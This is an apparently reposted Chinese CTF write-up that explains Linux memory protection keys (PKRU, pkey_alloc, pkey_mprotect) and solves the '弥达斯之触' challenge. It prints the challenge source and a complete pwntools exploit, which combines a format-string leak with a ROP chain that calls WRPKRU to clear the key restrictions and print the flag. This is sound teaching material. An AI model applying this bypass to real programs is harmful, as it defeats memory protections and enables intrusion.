当前位置:首页>Linux>[PWN] Linux中的pkeys安全机制及绕过

[PWN] Linux中的pkeys安全机制及绕过

  • 2026-02-05 19:08:27
[PWN] Linux中的pkeys安全机制及绕过

简单介绍

(Memory Protection Keys for Userspace,PKU,亦 即PKEYs)内存保护键提供了一种强制实施基于页的保护机制,可以快速调整某些内存区域的执行权限,而不是像传统的mprotect那样,触发页表项的修改,从而导致TLB(快速查找缓存)刷新,影响性能。

先来说说传统的mprotect(),它的工作机制是通过修改目标内存区域的页表项(PTE)的权限位实现内存保护,属于进程全局事件,会导致TLB的刷新,因此切换权限成本高。

pkeys是通过在页表中写入静态保护键标识,真正权限定义在线程局部寄存器中,需要修改目标内存区域的权限只需要修改寄存器就行了,作用局限于线程,不涉及页表和TLB的修改,权限切换非常高效。

x86_64实现

x86_64架构中,每个页表中,将 4 个先前保留的位专门用于一个“保护键”,从而提供16 个可能的键

0000  Pkey 00001  Pkey 10010  Pkey 21111  Pkey 15

每个键的保护由一个 per-CPU 用户可访问寄存器 (PKRU) 定义。每个 PKRU 都是一个32 位寄存器,为 16 个键中的每个键存储两位访问禁用和写入禁用)。也就是说PKRU寄存器存储16个保护键的权限,每个保护键占用2位,可以组合为4种权限,每个保护键对应的权限设置被称为一个控制集

00:无权限01:只读(写入禁用)10:无访问(访问禁用)11:读写(无禁用)

举个栗子:假设有一个线程,它的内存中有三个不同的区域,并且这三个区域被分别分配了不同的保护键:

区域 A(保护键 Pkey 0):只读(只能读取,不能写入)区域 B(保护键 Pkey 1):可读可写(可以读取,也可以写入)区域 C(保护键 Pkey 2):禁止访问(既不能读取,也不能写入)

然后,线程的PKRU 寄存器中可能存储的内容是:

Pkey 0:只读Pkey 1:可读可写Pkey 2:禁止访问
  • 如果线程访问区域 A,它只能读取数据,无法写入。
  • 如果线程访问区域 B,它可以同时读取和写入数据。
  • 如果线程访问区域 C,它根本无法访问这块内存,系统会阻止这个访问。

有两条特殊指令管理保护键的读写:

RDPKRU:用于读取当前线程的保护键权限设置。通过这条指令,CPU 将返回一个32位值,包含当前线程的所有保护键的权限设置。

WRPKRU:用于更新当前线程的保护键权限设置。通过这条指令,操作系统或应用程序可以修改特定保护键的访问权限。

PKRU是与线程绑定的,也就是说,不同的线程可以有不同的保护键权限设置。由于 PKRU 寄存器是per-CPU的,每个线程的保护权限都可以在不同的 CPU 上独立设置。同样,当一个线程在不同的 CPU 核心上切换时,操作系统会保证 PKRU 寄存器的状态(即保护键权限)正确地切换,以确保内存访问控制的一致性。

保护键主要应用于内存页的访问控制。在数据访问时,Pkey 的权限会被强制执行,但它对指令获取(如程序代码段的访问)没有影响。这意味着x86下的Pkeys只对用户空间内存的读写权限有控制作用,无法对代码段执行权限进行限制

arm64实现

arm64就简单介绍一下,在arm64下,Pkeys 在每个页表项中使用 3 位来编码一个“保护键索引”,从而提供 8 个可能的键:

000 → Pkey 0001 → Pkey 1010 → Pkey 2011 → Pkey 3100 → Pkey 4101 → Pkey 5110 → Pkey 6111 → Pkey 7

每个键的保护由一个 per-CPU 用户可写系统寄存器 (POR_EL0) 定义。这是一个 64 位寄存器,用于编码每个保护键索引的读、写和执行覆盖权限。

arm64下实现的pkeys也是线程独立的,但是arm64_pkeys的保护键权限不仅适用于数据控制访问,也适用于程序代码的执行权限

系统调用

有 3 个系统调用直接与 pkeys 交互:

  • pkey_alloc():分配一个新的保护键。
  • pkey_free():释放之前分配的保护键。
  • pkey_mprotect():修改内存区域的保护权限。

pkey_alloc()

intpkey_alloc(unsignedlong flags, unsignedlong init_access_rights);

这个系统调用用来分配一个新的保护键(Pkey)。

  • flags:控制标志,目前通常为 0。
  • init_access_rights:设置这个保护键的初始访问权限。这个值通常会传递像 PKEY_DISABLE_WRITE 这样的标志,用于初始化该保护键的权限。

返回分配的保护键的 ID,成功时返回保护键的 ID,失败时返回负数。

pkey_free()

intpkey_free(int pkey);

这个调用会释放之前分配的保护键。

  • pkey:要释放的保护键的 ID。

成功时返回 0,失败时返回负数。

pkey_mprotect()

intpkey_mprotect(unsignedlong start, size_t len, unsignedlong prot, int pkey)

这个调用可以修改指定内存区域的保护权限,并将其与指定的保护键关联。

  • start:要修改保护权限的内存区域的起始地址。
  • len:要修改的内存区域的长度。
  • prot:新的访问权限,类似于mprotect() 中使用的 PROT_READ、PROT_WRITE 等标志。
  • pkey:要关联的保护键。

成功时返回 0,失败时返回负数。

下面用一道题介绍CTF PWN中pkeys的使用和绕过

?CTF week3 弥达斯之触

源码:

#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <memory.h>#include <sys/mman.h>#include <bpf_insn.h>#include <linux/filter.h>#include <sys/prctl.h>#include <seccomp.h>#include <stddef.h>// __attribute__((constructor))voidthe_curse_of_midas() {struct sock_filter filter[] = {BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),// 加载系统调用号到寄存器// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execve, 6, 0),// BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_execveat, 5, 0),BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 40),BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 30),BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mmap, 20),BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_mprotect, 10),// 只允许上述调用BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),//其他全killBPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),    };struct sock_fprog prog = {        .len = sizeof(filter)/sizeof(filter[0]),        .filter = filter,    };if (prctl(PR_SET_NO_NEW_PRIVS, 1000)) {perror("prctl(NO_NEW_PRIVS)");    }if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) != 0) {perror("prctl(SECCOMP)");    }asm("mov rdx, 0xf;""begin:;""dec rdx;""jz end;""mov rax, 0x14a;"//这里是pkey_mprotect()"xor edi, edi;""mov rsi, 1;""syscall;""jmp begin;""end:;"    );}//自定义pkey,在这里实现了pkeysint _mprotect(void *addr, __int64_t len, int prot){int pkey = (rand()%15)+1;//随机生成pkey 1~15asm volatile("mov rax, %4;"// syscall number"mov rdi, %0;"// 1st arg: addr"mov rsi, %1;"// 2nd arg: len"mov rdx, %2;"// 3rd arg: prot"mov r10d, %3;"// 4th arg: pkey"syscall;"//这里是pkey_alloc()(0x149)        :        : "r"(addr), "r"(len), "r"(prot), "r"(pkey), "i"(0x149)        : "rax""rdi""rsi""rdx""r10""rcx""r11""memory"    );}voidinit(void *secret){setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);srand(((longlong)rand())>>24);int fd = open("/flag"00);read(fd, secret, 0x100);close(fd);the_curse_of_midas();    _mprotect(secret, 0x10007);}char buf[0x100];intmain(){void *secret_of_midas = mmap(0x10000x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -10);init(secret_of_midas);printf("远道而来的年轻人,你也是来寻找弥达斯的秘密吗?\n");read(0, buf, 20);printf(buf);printf("噢不,噢不,你太心急了。\n");    _mprotect(secret_of_midas, 0x10001);sleep(1);printf("那些关于黄金的诅咒,正在这片古老土地的血管里涌动。\n");sleep(1);printf("你应当保持警惕。\n");sleep(1);printf("那么,告诉我你的名字,我将引领你去往神圣之地:\n");read(0, buf, 0x100);printf("有趣。去你想去的地方吧。\n");asm("mov rbp, %0;"        :        : "r"(buf)    );}

这里面用到了两个pkeys相关的系统调用:

0x14a	__NR_pkey_mprotect	给某个页设置权限 + 附加 PKey0x149	__NR_pkey_alloc     分配一个 PKey

先看这段代码:

asm("mov rdx, 0xf;""begin:;""dec rdx;""jz end;""mov rax, 0x14a;"   // 系统调用号"xor edi, edi;"     // addr = NULL"mov rsi, 1;"       // len = 1"syscall;""jmp begin;""end:;");

正常pkey_mprotect(addr,len,prot,pkey)应用于有效内存,但这里给的地址无效

当 addr 无效时,pkey_mprotect不会设置页权限,但仍然更新 pkru 中对应 pkey 的权限位。

所以这里是随机修改不同 pkey 的读/写权限,使得未来分配的 pkey 权限是不可预测的。

再看这段:

int _mprotect(void *addr, __int64_t len, int prot){int pkey = (rand()%15)+1;asm volatile("mov rax, %4;"// syscall number"mov rdi, %0;"// 1st arg: addr"mov rsi, %1;"// 2nd arg: len"mov rdx, %2;"// 3rd arg: prot"mov r10d, %3;"// 4th arg: pkey"syscall;"        :        : "r"(addr), "r"(len), "r"(prot), "r"(pkey), "i"(0x149)        : "rax""rdi""rsi""rdx""r10""rcx""r11""memory"    );}

其内部随机选择 pkey,而当后面flag 所在内存执行这句:

_mprotect(secret, 0x1000, 7);

会从1~15随机选取一个pkey,而这 15 个 key 此时权限早已被the_curse_of_midas()随机污染。

所以当_mprotect绑定页时,权限不可预测,大多数情况下不能直接读,限制了读取flag

看这里:

_mprotect(secret, 0x1000, 7);

7 =

PROT_READ(1) |PROT_WRITE(2) |PROT_EXEC(4)

此时页表层面权限是RWX,但PKRU层面是根据pkey附加限制覆盖访问权限的,所以最后大概率不能直接读flag。

那么如何绕过呢?

之前提到有两条特殊指令管理保护键的读写,分别是RDPKRUWRPKRU,其中WRPKRU可以修改特定保护键的访问权限。

在题目给的libc库中寻找这条指令:

偏移是0x126256

WRPKRU的使用约束是ECX 和 EDX 必须为 0。如果不满足,结果未定义或者会 #UD(非法指令行为)

PKRU权限表如下:

AD
WD
含义
0
0
读写允许(R/W)
0
1
只读(R)
1
0
禁止访问(既不能读也不能写)
1
1
禁止访问(同上)

而参照这个表,我们肯定想修改目标区域权限为00(可读可写),而在EAX(装载 PKRU 的值)里写一个0,EAX = 0x00000000

直接就可以把全部pkey权限都变成00

pkey
对应 PKRU bit
0
bit 1..0
1
bit 3..2
2
bit 5..4
15
bit 31..30
所有 pkey
AD = 0
WD = 0
权限
PKEY 0
0
0
可读写
PKEY 1
0
0
可读写
PKEY 2
0
0
可读写
PKEY 15
0
0
可读写

知道这些就可以写exp了

先看fmt的偏移

0x1的偏移是8

用这条绕过pie(其实没必要,顺手绕一下),fmt偏移是11,程序基址偏移是0x153B

这条泄露libc,fmt偏移是29,libc偏移是0x29e40

在根目录放个flag测试文件

exp

from pwn import *context.arch='amd64'context.log_level='debug'#p=remote('challenge.ilovectf.cn',30377)p=process('./midas')elf=ELF('./midas')libc=ELF('./libc.so.6')fmt=b'%11$p%29$p'p.recvuntil('\n')p.send(fmt)p.recvuntil(b'0x')base=int(p.recv(12),16)-0x153bsuccess(f"pie:{hex(base)}")p.recvuntil(b'0x')libcbase=int(p.recv(12),16)-0x29e40success(f"libc:{hex(libcbase)}")wrpkru=libcbase+0x126256rdi = libcbase + libc.search(asm("pop rdi; ret"), executable=True).__next__()rsi = libcbase + libc.search(asm("pop rsi; ret"), executable=True).__next__()dx_cx_bx = libcbase + libc.search(asm("pop rdx; pop rcx; pop rbx; ret;"), executable=True).__next__()rax = libcbase + libc.search(asm("pop rax; ret"), executable=True).__next__()pl=b'a'*8+p64(rdi+1)+p64(dx_cx_bx)+p64(0)*3+p64(rax)+p64(0)+p64(wrpkru)+p64(rdi)+p64(0x10000)+p64(libcbase+libc.sym['puts'])sleep(3)#gdb.attach(p)p.send(pl)p.interactive()

在输入后打个断点,看到此时pkru寄存器的值是0x55555554

被改成了0x0

成功绕过并输出flag

exp小贴士:可以注意到payload中在覆盖掉rbp后,又加了一个p64(rdi+1)(=ret),这是为了保证栈对齐。在调用libc时,调用点的RSP必须是16字节对齐(即进入callRSP%16 == 8),这是为了满足 System V ABI 对齐规则。

看雪ID:h01mes

https://bbs.kanxue.com/user-home-1015416.htm

*本文为看雪论坛精华文章,由 h01mes原创,转载请注明来自看雪社区

# 往期推荐

逆向分析某手游基于异常的内存保护

解决Il2cppapi混淆,通杀DumpUnityCs文件

记录一次Unity加固的探索与实现

DLINK路由器命令注入漏洞从1DAY到0DAY

量子安全 quantum ctf Global Hyperlink Zone Hack the box

球分享

球点赞

球在看

点击阅读原文查看更多

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-02-07 12:19:09 HTTP/2.0 GET : https://f.mffb.com.cn/a/473711.html
  2. 运行时间 : 0.172060s [ 吞吐率:5.81req/s ] 内存消耗:4,636.80kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=911dd1492dc566d0fc5897f587b5e530
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
